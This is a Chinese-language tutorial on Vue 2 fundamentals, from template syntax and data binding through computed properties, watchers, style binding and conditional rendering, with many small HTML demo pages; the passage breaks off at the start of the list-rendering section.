Vue基础

文章目录

第1章:Vue核心

1.1 初识 Vue

介绍

  1. 动态构建用户界面的渐进式 JavaScript 框架
  2. 作者: 尤雨溪

特点

  1. 遵循 MVVM 模式
  2. 编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
  3. 它本身只关注 UI, 也可以引入其它第三方库开发项目

描述

  1. 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;
  2. root 容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;
  3. root 容器里的代码被称为【Vue 模板】;
  4. Vue 实例和容器是 一 一 对应的;
  5. 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用;
  6. {{xxx}} 中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性;
  7. 一旦 data 中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

注意区分:js 表达式 和 js 代码(语句)

1. 表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:

(1). a
(2). a+b
(3). demo(1)
(4). x === y ? ‘a’ : ‘b’

2. js 代码(语句)

(1). if(){}
(2). for(){}

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>初识 Vue</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器 -->
		<div id="demo">
			<h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
		</div>

		<script type="text/javascript" >
			Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

			// 创建 Vue 实例
			new Vue({
				el:'#demo', // el 用于指定当前 Vue 实例为哪个容器服务,值通常为 css 选择器字符串。
				data:{ // data 中用于存储数据,数据供 el 所指定的容器去使用,值我们暂时先写成一个对象。
					name:'zs',
					address:'北京'
				}
			})

		</script>
	</body>
</html>

1.2 Vue 模板语法

Vue 模板语法有 2 大类:

1. 插值语法

功能:用于解析标签体内容。
写法:{{xxx}},xxx 是 js 表达式,且可以直接读取到 data 中的所有属性。

2. 指令语法

功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)。
举例:v-bind:href=“xxx” 或 简写为 :href=“xxx”,xxx 同样要写 js 表达式,且可以直接读取到 data 中的所有属性。

备注:Vue 中有很多的指令,且形式都是:v-???,此处我们只是拿 v-bind 举个例子。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>模板语法</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>插值语法</h1>
			<h3>你好,{{name}}</h3>
			<hr/>
			<h1>指令语法</h1>
			<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
			<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'jack',
				school:{
					name:'百度',
					url:'http://www.baidu.com',
				}
			}
		})
	</script>
</html>

1.3 数据绑定

Vue 中有 2 种数据绑定的方式:
  1. 单向绑定( v-bind ):数据只能从 data 流向页面。
  2. 双向绑定( v-model ):数据不仅能从 data 流向页面,还可以从页面流向 data

备注:

  1. 双向绑定一般都应用在表单类元素上(如:input、select 等)
  2. v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>数据绑定</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 普通写法 -->
			<!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
			双向数据绑定:<input type="text" v-model:value="name"><br/> -->

			<!-- 简写 -->
			单向数据绑定:<input type="text" :value="name"><br/>
			双向数据绑定:<input type="text" v-model="name"><br/>

			<!-- 如下代码是错误的,因为 v-model 只能应用在表单类元素(输入类元素)上 -->
			<!-- <h2 v-model:x="name">你好啊</h2> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'zs'
			}
		})
	</script>
</html>

1.4 data 与 el 的 2 种写法

1. el 有 2 种写法

(1). new Vue 时候配置 el 属性。

(2). 先创建 Vue 实例,随后再通过 vm.$mount(‘#root’) 指定 el 的值。

2. data 有 2 种写法

(1). 对象式

(2). 函数式

如何选择:目前哪种写法都可以,以后学习到组件时,data 必须使用函数式,否则会报错。

3. 一个重要的原则:

由 Vue 管理的函数,一定不要写箭头函数,一旦写了箭头函数,this 就不再是 Vue 实例了。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>el 与 data 的两种写法</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>你好,{{name}}</h1>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		// el 的两种写法
		/* const v = new Vue({
			// el:'#root', // 第一种写法
			data:{
				name:'zs'
			}
		})
		console.log(v)
		v.$mount('#root') // 第二种写法 mount:挂载 */

		// data 的两种写法
		new Vue({
			el:'#root',
			// data 的第一种写法:对象式
			/* data:{
				name:'zs'
			} */

			// data 的第二种写法:函数式
			data(){
				console.log('@@@',this) // 此处的 this 是 Vue 实例对象
				return{
					name:'zs'
				}
			}
		})
	</script>
</html>

1.5 MVVM 模型

  1. M:模型( Model ) :data 中的数据
  2. V:视图( View ) :模板代码
  3. VM:视图模型( ViewModel ):Vue 实例

在这里插入图片描述

观察发现:

  1. data 中所有的属性,最后都出现在了 vm 身上。
  2. vm 身上所有的属性 及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>理解 MVVM</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校名称:{{name}}</h1>
			<h1>学校地址:{{address}}</h1>
			<!-- <h1>测试一下1:{{1+1}}</h1>
			<h1>测试一下2:{{$options}}</h1>
			<h1>测试一下3:{{$emit}}</h1>
			<h1>测试一下4:{{_c}}</h1> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'zs',
				address:'北京',
			}
		})
		console.log(vm)
	</script>
</html>

1.6 数据代理

1.6.1 Object.defineproperty

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>回顾 Object.defineproperty 方法</title>
	</head>
	<body>
		<script type="text/javascript" >
			let number = 18
			let person = {
				name:'张三',
				sex:'男',
			}

			Object.defineProperty(person,'age',{
				// value:18,
				// enumerable:true, // 控制属性是否可以枚举,默认值是 false
				// writable:true, // 控制属性是否可以被修改,默认值是 false
				// configurable:true // 控制属性是否可以被删除,默认值是 false

				// 当有人读取 person 的 age 属性时,get 函数 (getter) 就会被调用,且返回值就是 age 的值
				get(){
					console.log('有人读取 age 属性了')
					return number
				},

				// 当有人修改 person 的 age 属性时,set 函数 (setter) 就会被调用,且会收到修改的具体值
				set(value){
					console.log('有人修改了 age 属性,且值是',value)
					number = value
				}

			})

			// console.log(Object.keys(person))

			console.log(person)
		</script>
	</body>
</html>

1.6.2 何为数据代理

数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>何为数据代理</title>
	</head>
	<body>
		<script type="text/javascript" >
			let obj = {x:100}
			let obj2 = {y:200}

			Object.defineProperty(obj2,'x',{
				get(){
					return obj.x
				},
				set(value){
					obj.x = value
				}
			})
		</script>
	</body>
</html>

1.6.3 Vue 中的数据代理

1. Vue 中的数据代理

通过 vm 对象来代理 data 对象中属性的操作(读/写)

2. Vue 中数据代理的好处

更加方便的操作 data 中的数据

3. 基本原理

通过 Object.defineProperty() 把 data 对象中所有属性添加到 vm 上。

为每一个添加到 vm 上的属性,都指定一个 getter/setter。

在 getter/setter 内部去操作(读/写)data 中对应的属性。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title> Vue 中的数据代理</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称:{{name}}</h2>
			<h2>学校地址:{{address}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'zs',
				address:'北京'
			}
		})
	</script>
</html>

1.7 事件处理

1.7.1 事件的基本使用

  1. 使用 v-on:xxx 或 @xxx 绑定事件,其中 xxx 是事件名;
  2. 事件的回调需要配置在 methods 对象中,最终会在 vm 上;
  3. methods 中配置的函数,不要用箭头函数!否则 this 就不是 vm 了;
  4. methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象;
  5. @click=“demo” 和 @click=“demo($event)” 效果一致,但后者可以传参;
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件的基本使用</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- <button v-on:click="showInfo">点我提示信息</button> -->
			<button @click="showInfo1">点我提示信息1(不传参)</button>
			<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'zss',
			},
			methods:{
				showInfo1(event){
					// console.log(event.target.innerText)
					// console.log(this) // 此处的 this 是 vm
					alert('同学你好!')
				},
				showInfo2(event,number){
					console.log(event,number)
					// console.log(event.target.innerText)
					// console.log(this) // 此处的 this是 vm
					alert('同学你好!!')
				}
			}
		})
	</script>
</html>

1.7.2 事件修饰符

Vue 中的事件修饰符
  1. prevent:阻止默认事件(常用);
  2. stop:阻止事件冒泡(常用);
  3. once:事件只触发一次(常用);
  4. capture:使用事件的捕获模式;
  5. self:只有 event.target 是当前操作的元素时才触发事件;
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件修饰符</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
			*{
				margin-top: 20px;
			}
			.demo1{
				height: 50px;
				background-color: skyblue;
			}
			.box1{
				padding: 5px;
				background-color: skyblue;
			}
			.box2{
				padding: 5px;
				background-color: orange;
			}
			.list{
				width: 200px;
				height: 200px;
				background-color: peru;
				overflow: auto;
			}
			li{
				height: 100px;
			}
		</style>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- 阻止默认事件(常用) -->
			<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

			<!-- 阻止事件冒泡(常用) -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
				<!-- 修饰符可以连续写 -->
				<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
			</div>

			<!-- 事件只触发一次(常用) -->
			<button @click.once="showInfo">点我提示信息</button>

			<!-- 使用事件的捕获模式 -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>

			<!-- 只有 event.target 是当前操作的元素时才触发事件; -->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>

			<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
			<ul @wheel.passive="demo" class="list">
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'zs'
			},
			methods:{
				showInfo(e){
					alert('同学你好!')
					// console.log(e.target)
				},
				showMsg(msg){
					console.log(msg)
				},
				demo(){
					for (let i = 0; i < 100000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>
</html>

1.7.3 键盘事件

  1. Vue 中常用的按键别名:
    (1)回车 => enter
    (2)删除 => delete (捕获“删除”和“退格”键)
    (3)退出 => esc
    (4)空格 => space
    (5)换行 => tab (特殊,必须配合 keydown 去使用)
    (6)上 => up
    (7)下 => down
    (8)左 => left
    (9)右 => right

  2. Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab-case(短横线命名)

  3. 系统修饰键(用法特殊):ctrl、alt、shift、meta
    (1). 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
    (2). 配合 keydown 使用:正常触发事件。

  4. 也可以使用 keyCode 去指定具体的按键(不推荐)

  5. Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>键盘事件</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		Vue.config.keyCodes.huiche = 13 // 定义了一个别名按键

		new Vue({
			el:'#root',
			data:{
				name:'zs'
			},
			methods: {
				showInfo(e){
					// console.log(e.key,e.keyCode)
					console.log(e.target.value)
				}
			},
		})
	</script>
</html>

1.8 计算属性

1.8.1 插值语法

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_插值语法实现</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{firstName}}-{{lastName}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			}
		})
	</script>
</html>

1.8.2 methods

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例 _methods 实现</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName()}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			},
			methods: {
				fullName(){
					console.log('@---fullName')
					return this.firstName + '-' + this.lastName
				}
			},
		})
	</script>
</html>

1.8.3 计算属性

  1. 定义:要用的属性不存在,要通过已有属性计算得来。
  2. 在 computed 对象中定义计算属性。
  3. 在页面中使用{{方法名}}来显示计算的结果。
  4. 原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。
  5. get 函数什么时候执行?
    (1). 初次读取时会执行一次。
    (2). 当依赖的数据发生改变时会被再次调用。
  6. 优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。
  7. 备注:
    (1). 计算属性最终会出现在 vm 上,直接读取使用即可。
    (2). 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。
1.8.3.1- 全写
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			测试:<input type="text" v-model="x"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			<!-- 全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				x:'你好'
			},
			methods: {
				demo(){
					
				}
			},
			computed:{
				fullName:{
					// get 有什么作用?	当有人读取 fullName 时,get 就会被调用,且返回值就作为 fullName 的值
					// get 什么时候调用?		1.初次读取 fullName 时。2.所依赖的数据发生变化时。
					get(){
						console.log('get 被调用了')
						// console.log(this) // 此处的 this 是 vm
						return this.firstName + '-' + this.lastName
					},
					// set 什么时候调用? 当 fullName 被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>
</html>
1.8.3.2- 简写
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				// 完整写法
				/* fullName:{
					get(){
						console.log('get 被调用了')
						return this.firstName + '-' + this.lastName
					},
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				} */
				// 简写	(只有考虑读取不考虑修改的时候,才能使用简写形式)
				fullName(){
					console.log('get 被调用了')
					return this.firstName + '-' + this.lastName
				}
			}
		})
	</script>
</html>

1.9 监视属性

监视属性 watch:

  1. 当被监视的属性变化时, 回调函数自动调用, 进行相关操作
  2. 监视的属性必须存在,才能进行监视!!
  3. 监视的两种写法:
    (1). new Vue 时传入 watch 配置
    (2). 通过 vm.$watch 监视
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			/* watch:{
				isHot:{
					immediate:true, // immediate:英 [ɪˈmiːdiət] 立即 初始化时调用一下 handler 
					// handler 什么时候调用?		当 isHot 发生改变时。
					handler(newValue,oldValue){
						console.log('isHot 被修改了',newValue,oldValue)
					},
                info: {
                    immediate: true,
                    handler(newValue, oldValue) {
                        console.log('info 发生改变了', newValue, oldValue);
                    }
				}
			} */
		})

		vm.$watch('isHot',{
			immediate:true, // 初始化时调用一下 handler 
			// handler 什么时候调用?		当 isHot 发生改变时。
			handler(newValue,oldValue){
				console.log('isHot 被修改了',newValue,oldValue)
			}
		})
	</script>
</html>

1.9.1- 深度监视

(1). Vue 中的 watch 默认不监测对象内部值的改变(一层)。
(2). 配置 deep:true 可以监测对象内部值改变(多层)。

备注:
(1). Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!
(2). 使用 watch 时根据数据的具体结构,决定是否采用深度监视。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_深度监视</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
			<hr/>
			<h3>a的值是:{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<h3>b的值是:{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
			<button @click="numbers = {a:666,b:888}">彻底替换掉 numbers </button>
			{{numbers.c.d.e}}
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
				numbers:{
					a:1,
					b:1,
					c:{
						d:{
							e:100
						}
					}
				}
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				isHot:{
					// immediate:true, // 初始化时让 handler 调用一下
					// handler 什么时候调用?		当 isHot 发生改变时。
					handler(newValue,oldValue){
						console.log('isHot 被修改了',newValue,oldValue)
					}
				},
				// 监视多级结构中某个属性的变化
				/* 'numbers.a':{
					handler(){
						console.log('a 被改变了')
					}
				} */
				// 监视多级结构中所有属性的变化
				numbers:{
					deep:true,
					handler(){
						console.log('numbers 改变了')
					}
				}
			}
		})

	</script>
</html>

1.9.2- 监视属性简写

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性_简写</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				// 正常写法
				/* isHot:{
					// immediate:true, // 初始化时调用一下 handler 
					// deep:true,	// 深度监视
					handler(newValue,oldValue){
						console.log('isHot 被修改了',newValue,oldValue)
					}
				}, */
				
				// 简写
				/* isHot(newValue,oldValue){
					console.log('isHot 被修改了',newValue,oldValue,this)
				} */
			}
		})

		// 正常写法
		/* vm.$watch('isHot',{
			immediate:true, // 初始化时调用一下 handler 
			deep:true,	// 深度监视
			handler(newValue,oldValue){
				console.log('isHot 被修改了',newValue,oldValue)
			}
		}) */

		// 简写
		vm.$watch('isHot', function (newValue, oldValue) {
            console.log('isHot 发生改变了', this);
        })

	</script>
</html>

1.9.3- computed 和 watch

computed 和 watch 之间的区别:

  1. computed 能完成的功能,watch 都可以完成。
  2. watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。

两个重要的小原则:

  1. 所被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。
  2. 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,
    这样 this 的指向才是 vm 或 组件实例对象。

姓名案例_watch实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例 _watch 实现</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				fullName:'张-三'
			},
			watch:{
				firstName(val){
					setTimeout(()=>{
						console.log(this)
						this.fullName = val + '-' + this.lastName
					},1000);
				},
				lastName(val){
					this.fullName = this.firstName + '-' + val
				},
				fullName(val) {
                    let arr = val.split('-');
                    this.firstName = arr[0];
                    this.lastName = arr[1];
                }
			}
		})
	</script>
</html>

1.10 绑定样式

 1. class 样式

写法: class=“xxx” xxx 可以是字符串、对象、数组。

字符串写法适用于:类名不确定,要动态获取。

对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。

数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

1.:class=‘xxx’
2.表达式是字符串: ‘classA’
3.表达式是对象: {classA:isA, classB: isB}
4.表达式是数组: [‘classA’, ‘classB’]

 2. style 样式

:style=“{fontSize: xxx}” 其中 xxx 是动态值。

:style=“[a,b]” 其中 a、b 是样式对象。

1.:style=“{ color: activeColor, fontSize: fontSize + ‘px’ }”
2.其中 activeColor/fontSize 是 data 属性

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.a1{
				background-color: yellowgreen;
			}
			.a2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.a3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 绑定 class 样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

			<!-- 绑定 class 样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

			<!-- 绑定 class 样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

			<!-- 绑定 style 样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
			<!-- 绑定 style 样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'hello world!',
				mood:'normal',
				classArr:['a1','a2','a3'],
				classObj:{
					a1:false,
					a2:false,
				},
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},
			methods: {
				changeMood(){
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},
		})
	</script>
	
</html>

1.11 条件渲染

1. v-if

写法:
(1). v-if=“表达式”
(2). v-else-if=“表达式”
(3). v-else=“表达式”

适用于:切换频率较低的场景。

特点:不展示的 DOM 元素直接被移除。

注意:v-if 可以和 :v-else-if、v-else 一起使用,但要求结构不能被 “打断”。

2. v-show

写法:v-show=“表达式”

适用于:切换频率较高的场景。

特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉

备注:使用 v-if 的时候,元素可能无法获取到,而使用 v-show 一定可以获取到。

比较 v-if 与 v-show

  1. 如果需要频繁切换 v-show 较好
  2. 当条件不成立时, v-if 的所有子节点不会解析(项目中使用)
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>当前的 n 值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			<!-- 使用 v-show 做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用 v-if 做条件渲染 -->
			<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- v-else 和 v-else-if -->
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

			<!-- v-if 与 template 的配合使用 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>世界</h2>
				<h2>北京</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'我的世界',
				n:0
			}
		})
	</script>
</html>

1.12 列表渲染

1.12.1 基本列表

v-for 指令
  1. 用于展示列表数据
  2. 语法:v-for=“(item, index) in xxx” :key=“yyy”
  3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<ul>
